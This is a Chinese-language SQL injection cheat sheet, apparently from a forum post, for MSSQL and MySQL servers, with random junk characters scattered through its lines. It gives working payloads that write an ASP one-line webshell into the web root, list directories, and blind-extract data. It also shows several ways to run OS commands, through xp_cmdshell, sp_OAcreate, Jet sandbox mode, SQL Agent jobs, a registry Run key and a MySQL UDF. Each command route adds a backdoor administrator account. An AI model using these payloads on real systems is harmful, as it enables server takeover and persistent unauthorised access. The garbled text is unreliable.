MSSQL语句导出一句话木马5 S+ c3 p- Y( J2 T/ m
首先确定网站的WEB路径; Z( C p8 b6 {$ T: f5 H1 d
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马
8 F# }' M4 o% ~$ m2 L8 U \/ @
9 | r* \* N7 {9 x. N;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');--
4 @/ L3 r7 t" i" l+ E% Z4 G//将一句话木马插入表中1 {$ A6 |4 d% _7 }* }
& F" h9 A1 v( ^3 j! A
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';--
/ r3 m% e) g o. s. \//导出一个ASP文件
1 [2 Y2 U7 M4 {2 }: C4 }$ ~5 x: h8 Q! h! b$ m, D2 Z; I
0 P+ U5 S' q: b5 w# ]; I
关于MSSQL列目录) U$ N s1 I7 V4 ~9 v
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
4 R0 v. _- W5 y9 J5 ]Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表
8 r0 G: U. I! b; `5 K1 w! s* K( f
0 n- G* L0 E0 m F% Cand (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
' \3 k: @3 g& b' X, i# Q s8 C
, n( {7 t: H$ X) ~4 t( X h! eAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
) O2 O% i- d. }; f4 |% D! g# }$ p3 [, c9 V! d |
And (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
9 X6 D& F3 Y) Q' N
- h! z0 J0 F7 [" ?8 h+ x I, F" {& F1 o y% Q/ ^2 E
数据库版本和权限查看8 _4 \) K2 u1 |
and 1=(select @@VERSION) //查看详细的数据库信息.
' q& O; m- w9 @; p9 X1 qand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA/ d! I: ~. J+ F7 f+ O* F
and 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
2 A8 g6 Z" Y i& h* }, p/ P/ R* V0 e& n p" H9 ~
1 H( d: Q9 I0 V
1.利用xp_cmdshell执行命令
4 j7 C( k! v+ b4 Iexec master..xp_cmdshell 'net user rfire 123456 /add'2 e1 M1 {- W! d, L. \( a4 R
exec master..xp_cmdshell 'net localgroup administrators rfire /add'
/ t( F% T& G. k1 [& _; P4 @# R
3 d9 a, H/ x N. m恢复xp_cmdshell存储过程7 m" t! p% J1 Z
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' L& W& H: V0 e
$ Y" h* \' U6 a7 z2 h( G* z$ l* q4 \; Z6 U* y0 c- O' N7 h8 D
2.利用SP_OAcreate和SP_OAMETHOD执行命令: W" U s" ]# s5 ?9 ^: ~, C. T
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
3 h/ i( n8 D* TDECLARE @shell INT //建立一个@shell实体8 z7 T7 q1 J* J( d" E2 D
EXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例% H9 ~6 z6 A9 h) E+ Y" A
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例0 H7 F: d/ L/ v' U' S
7 e" X3 {: s$ h8 W, t% g
0 r+ O7 _) a) W3 d3.利用沙盒模式
1 F/ b9 |$ `9 H* F7 [先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。7 A2 b- T9 P Z3 p: \7 X
开启沙盒模式:
8 Y7 p" v- a! T* g& U: R: WEXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0- H u- t0 }) y& z) H
* x/ X% ^- \: z# r2 `执行命令:
0 O+ r- p! f; M" |Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
% }) B/ L+ U/ F% ?! g
6 W9 n; b4 V# s# r, J
2 T9 O# ] _, p- S4.利用SQL代理执行命令2 Y9 s2 l- `) V
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务! f" Z" }: ^5 ~: s! N
1 D% A6 C3 w6 r) t. B8 T* ^8 [8 Z
执行命令:; A8 F, A3 r( |4 K+ k
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错4 ]% Z- J5 N& }: B3 b( a; B- x; s
exec sp_add_job 'x'7 W" V% c2 `) q4 S/ l& s
exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
3 @6 H% l6 ` n! C" Kexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业
/ K$ u0 v1 i& {
$ C7 \0 e- B: s0 \* o4 U" j/ H: {! ]. C2 h- p/ h/ e
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项) x6 C/ `, e- p5 ^% x% P# ^0 O
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
, M2 K. ~6 f- g) ?8 v
. S# L4 x/ [+ z& G+ h4 A
* D/ O8 x: d" f) l6.MYSQL的命令执行
) b/ }3 S8 F& g" |1 K# @& N' RMYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)* P$ n8 z8 k% y( b
首先要在su.php下导出c:\windows\udf.dll
$ `; R1 \* {9 t导出后执行创建自定义函数命令:
: x$ b2 E8 i' G O- f% oCreate Function cmdshell returns string soname 'udf.dll'. ] A' i" Y( U7 ]& c k0 X1 V
执行命令+ S% x6 E( d2 o8 W* }7 @
select cmdshell('net user rfire 123456 /add')
2 N- w9 W- I# k. n执行后删除函数 drop function cmdshell$ K) a6 P' L# c G$ z, C
|